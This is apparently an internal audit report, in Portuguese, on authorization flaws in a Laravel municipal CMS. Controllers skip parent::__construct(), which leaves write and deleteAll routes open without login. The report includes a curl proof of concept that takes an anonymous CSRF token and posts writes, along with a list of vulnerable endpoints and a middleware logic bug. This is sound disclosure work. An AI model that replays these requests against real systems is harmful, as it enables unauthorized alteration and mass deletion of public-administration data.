# Falhas de Autorização no CMS — Rotas de Escrita Acessíveis Sem Autenticação

> **Data:** 2026-10-21
> **Escopo:** verificação durante o mapeamento dos módulos (`dossie_modules/`)
> **Severidade:** **CRÍTICA** — escrita e exclusão de dados do CMS sem login
> **Versões afetadas:** `v5` **e** `v6` (mesma causa raiz)

---

## 1. Causa raiz

`v6/app/Http/Controllers/Prefecture/Controller.php:20-24` (idêntico na v5):

```php
public function __construct()
{
    $this->middleware('check.route.permission');
}
```

Esse construtor é o **único** ponto que registra o middleware de autorização
para os controllers do CMS. Porém **80 controllers sobrescrevem
`__construct()` sem chamar `parent::__construct()`** — e o middleware nunca é
registrado.

Exemplo (idêntico em v5 e v6), `v6/app/Http/Controllers/Prefecture/SupplierController.php:30-33`:

```php
public function __construct()
{
    $this->supplier = app(SupplierRepository::class);
    // <-- falta parent::__construct();
}
```

Como o middleware não é registrado, **nem `check.route.permission` nem
`check.logged` protegem a rota**. Verificado em runtime — o middleware
efetivo das rotas Write é apenas `web`:

```
POST cms/fornecedores            => web
POST cms/ajax/assuntos/deleteAll => web
```

O `web` garante apenas CSRF e sessão — **não autenticação**.

### Por que o CSRF não protege

O token CSRF **é** exigido, mas um visitante anônimo **obtém um token
válido** trivially: qualquer página que renderize o `<meta name="csrf-token">`
(por exemplo `/login`) emite um token vinculado à sessão anônima. O CSRF
protege contra **cross-site request forgery**, não contra **falta de
autenticação** — um atacante que fala diretamente com o servidor tem o token
à mão.

Demonstração do fluxo completo:

```bash
# 1. Sessão anônima + token CSRF
curl -sk -c jar.txt https://<host>/login -o page.html
TOKEN=$(grep -oP 'name="csrf-token" content="\K[^"]+' page.html)

# 2. Escrita sem login
curl -sk -b jar.txt -c jar.txt -X POST https://<host>/cms/fornecedores \
     -H "X-CSRF-TOKEN: $TOKEN" -F 'name=Teste' ...
```

---

## 2. Vulnerabilidades confirmadas em runtime

### 2.1 Criação/edição/exclusão de Fornecedores — `supplier.*`

| Rota | Verificado |
|---|---|
| `POST /cms/fornecedores` (`supplier.store`) | **CRIOU** registro — `HTTP 302` + linha inserida |
| `PUT /cms/fornecedores/atualizar/{id}` (`supplier.update`) | **ALTEROU** registro — nome passou a `HACKED` |
| `DELETE /cms/fornecedores/excluir/{id}` (`supplier.destroy`) | **DELETOU** — `HTTP 200 {"success":"Fornecedor deletado com sucesso."}` |
| `POST /cms/fornecedores_switch` | **ALTEROU** `fornecedor_ativo` de outro fornecedor |

Evidência (v6):

```
POST /cms/fornecedores (sem login)
→ HTTP 302 -> /cms/fornecedores
→ SELECT id,name,email FROM suppliers → 4|FornecedorAnonimoTeste|hacker@teste.com
```

Evidência (v5) — idêntica; a única diferença é que a `SupplierRequest` da v5
exige o upload de `image`/`icon` (`v5/app/Http/Requests/SupplierRequest.php:30-31`),
então o payload precisa ser `multipart/form-data` com uma imagem válida:

```
POST /cms/fornecedores (sem login, com imagem válida)
→ HTTP 302 -> /cms/fornecedores
→ SELECT id,name FROM suppliers → 4|AnonTestV5b
```

> **Verificado e revertido:** os registros de teste criados durante a
> investigação foram removidos; o estado original das duas bases
> (`1|Máxima Tecnologia|t`, `2|PBSoft`, `3|PublicSoft`) foi restaurado.

### 2.2 Exclusão em massa de dados da Ouvidoria

Endpoints `deleteAll` no grupo `/cms/ajax` — todos executam **sem login**:

| Rota | Controller | Tabela | Verificado |
|---|---|---|---|
| `POST /cms/ajax/assuntos/deleteAll` | `OmbudsmanSubjectController@deleteAll` | `ombudsman_subjects` | **HTTP 200** `{"success":true,...}` |
| `POST /cms/ajax/setores-orgaos/deleteAll` | `OmbudsmanSectorController@deleteAll` | `ombudsman_sectors` | **HTTP 200** `{"success":true,...}` |
| `POST /cms/ajax/respostas-prontas/deleteAll` | `OmbudsmanCannedResponseController@deleteAll` | `ombudsman_canned_responses` | **HTTP 200** |
| `POST /cms/ajax/formas-de-resposta/deleteAll` | `OmbudsmanResponseMethodController@deleteAll` | `ombudsman_response_methods` | **HTTP 200** |
| `POST /cms/ajax/origens-de-chamado/deleteAll` | `OmbudsmanOriginController@deleteAll` | `ombudsman_origins` | **HTTP 200** |
| `POST /cms/ajax/tipos-de-chamado/deleteAll` | `OmbudsmanManifestationTypeController@deleteAll` | `ombudsman_manifestation_types` | **HTTP 200** |

Evidência:

```
POST /cms/ajax/assuntos/deleteAll   (sem login)
→ HTTP 200  {"success":true,"message":"Registro(s) deletado(s) com sucesso."}
```

O `OmbudsmanSubjectController@deleteAll` (`v6/app/Http/Controllers/Prefecture/OmbudsmanSubjectController.php:91-108`)
faz `OmbudsmanSubject::destroy($ids)` **diretamente**, sem nenhuma verificação
de permissão. Dados existentes na base de desenvolvimento: 1 assunto,
13 setores, 3 respostas prontas, 4 formas de resposta, 6 origens,
6 tipos de chamado.

### 2.3 Exclusão em massa em outras áreas

| Rota | Verificado |
|---|---|
| `POST /cms/ajax/enquete/delete-por-lote` | **HTTP 500** (alcançou o controller; falhou por dados) |
| `POST /cms/ajax/agenda-evento/delete-por-lote` | **HTTP 500** (mesmo) |
| `POST /cms/ajax/pagina-estatica/delete-por-lote` | **HTTP 500** (mesmo) |

O `HTTP 500` nestas três significa que **a requisição passou pela
autorização** e falhou apenas na operação (tabela vazia / constraint). O
corpo da resposta é `{"erro":"Ocorreu um erro!..."}` — o `catch` do próprio
controller, não um bloqueio de autenticação.

### 2.4 Rotas Write protegidas por `check.logged` (não exploráveis)

Estas têm `->middleware('check.logged')` e **não** são exploráveis. Listadas
para delimitar o escopo:

`POST /cms/ajax/revisoes/delete-por-lote`, `.../unidade-gestora/delete-por-lote`,
`.../proposta/delete-por-lote`, `.../contrato/delete-por-lote`,
`.../licitacao/delete-por-lote`, `.../tv-camara/delete-por-lote`,
`.../conteudo/deleteAll`, `.../tv-camara/store`, `.../marcar-destaque`,
`.../categories` (apiStore/apiUpdate/apiDestroy),
`POST /cms/ajax/setores-orgaos/deleteAll` (variante com `check.logged`).

---

## 3. Inventário — 80 controllers que perdem a autorização

Análise estática: todo controller sob `app/Http/Controllers/` que declara
`__construct()` sem `parent::__construct()`.

**Prefecture (CMS) — 54 controllers**

`ArchiveController`, `Bidding\BiddingController`,
`CalendarEvent\CalendarEventController`,
`CalendarEvent\CategoryCalendarEventController`, `CategorySecretaryController`,
`CityCouncilorController`, `ConfigurationController`, `ContentController`,
`ContractController`, `DiarioAreaController`, `DiarioCertificadosController`,
`DiarioController`, `DiarioSubAreaController`,
`EmendaParlamentar\CategoryController`,
`EmendaParlamentar\EmendaParlamentarController`, `EvacinaController`,
`FeriadosMunicipaisController`, `ManagementUnitController`, `MandateController`,
`ManualAreaController`, `ManualController`, `MenuController`, `MenuItemController`,
`MenuSecretaryController`, `OmbudsmanCannedResponseController`,
`OmbudsmanManifestationTypeController`, `OmbudsmanOriginController`,
`OmbudsmanRequestController`, `OmbudsmanResponseMethodController`,
`OmbudsmanSectorController`, `OmbudsmanSubjectController`,
`PagesSecretaryController`, `ProponentController`, `ProposalController`,
`QuestionAnswersController`, `RatingsClientsController`, `RatingsController`,
`RequerimentoDiariasController`, `ServiceLetter\ServiceLetterAttachmentController`,
`ServiceLetter\ServiceLetterChannelController`,
`ServiceLetter\ServiceLetterConfigController`,
`ServiceLetter\ServiceLetterController`,
`ServiceLetter\ServiceLetterDocumentController`,
`ServiceLetter\ServiceLetterPdfController`,
`ServiceLetter\ServiceLetterStepController`,
`ServiceLetter\ServiceLetterSubjectController`, `ServidorController`,
`StaticPageController`, `SupplierController`, `SurveyController`,
`ViapController`, `Prefecture\Controller`.

**Admin — 9 controllers**

`AddressController`, `DashboardController`, `DashboardWidgetController`,
`ForgotPasswordController`, `MainController`, `PermissionController`,
`ResetPasswordController`, `ResourceController`, `RoleController`,
`UserController`.

**Portal — 17 controllers** (rota pública; sem middleware de escrita no CMS,
mas relevantes para `Portal\OmbudsmanController` e `Portal\InformationController`).

Nem todos esses controllers ficam efetivamente expostos: o que decide é a
combinação **(a) controller sem `parent::__construct()`** + **(b) rota Write
sem `check.logged`** + **(c) ausência de guarda interna (`has_access()`)**.

Os controllers da Ouvidoria e o `SupplierController` são o pior caso:
**não possuem guarda interna alguma**.

---

## 4. Bug adicional no `CheckRoutePermission` (escopo de permissão)

Mesmo quando o middleware **é** registrado, ele tem um bug que
**libera todas as rotas de recurso** para qualquer usuário logado.

`v6/app/Http/Middleware/CheckRoutePermission.php:44-85`:

```php
$resourceRoutes = [
    'edit'   => 'update',
    'create' => 'store',
    'delete' => 'destroy',
];
$openRoutes = [
    'login', 'logout', 'datatable', 'dashboard', 'error', 'ajax',
    'info-request-status-update'
];
$access = Route::getCurrentRoute()->getName();
$accessArr = explode('.', $access);

$open = array_where($accessArr, function ($value, $key) use ($openRoutes, $resourceRoutes) {
    if (in_array($value, $openRoutes) || in_array($value, $resourceRoutes)) {
        return true;
    }
});
if (!empty($open)) {
    return true;   // <-- LIBERA
}
```

`$accessArr` é o nome da rota **quebrado por `.`**. Para
`supplier.update`, `$accessArr = ['supplier', 'update']`. O `array_where`
compara o **valor** (`'update'`) contra os **valores** de `$resourceRoutes`
(`['update','store','destroy']`) — que casam. O comentário do código diz
*"Segmento 4 que nele contém a permissao"*, mas o `array_where` com a
chave `$key` não é usado: a comparação é feita por **valor**.

Consequência: **qualquer rota cujo nome contenha `edit`, `create`, `update`,
`store`, `delete` ou `destroy`** é liberada para **qualquer usuário
autenticado**, independentemente do papel. O `Route::resource(...)` do Laravel
gera automaticamente nomes `*.create`, `*.store`, `*.edit`, `*.update`,
`*.destroy` — exatamente esses.

Isso torna a autorização do CMS essencialmente inexistente também para
usuários logados de baixo privilégio (papel `Básico`, `Licitações`, `Lai`).

---

## 5. Impacto, correção e efeitos na v7

A análise de impacto, o plano de correção (imediato, correção do `array_where`,
guardas internas, hygiene de código) e as implicações para a reconstrução
estão em **`16b-IMPACTO-E-CORRECAO-AUTORIZACAO.md`**.

## 6. Referências

| Item | Caminho |
|---|---|
| Registro do middleware (origem) | `v6/app/Http/Controllers/Prefecture/Controller.php:20-24` |
| Controller sem `parent::__construct()` | `v6/app/Http/Controllers/Prefecture/SupplierController.php:30-33` |
| Rotas de escrita sem `check.logged` | `v6/routes/basepro.php:349-355` |
| `deleteAll` sem guarda | `v6/app/Http/Controllers/Prefecture/OmbudsmanSubjectController.php:91-108` |
| `deleteAll` de setores (confirmado) | `v6/app/Http/Controllers/Prefecture/OmbudsmanSectorController.php:97-115` |
| Bug do `array_where` | `v6/app/Http/Middleware/CheckRoutePermission.php:44-93` |
| Equivalente v5 | `v5/app/Http/Controllers/Prefecture/SupplierController.php:30-33` |
| Validação mais estrita na v5 | `v5/app/Http/Requests/SupplierRequest.php:26-37` |

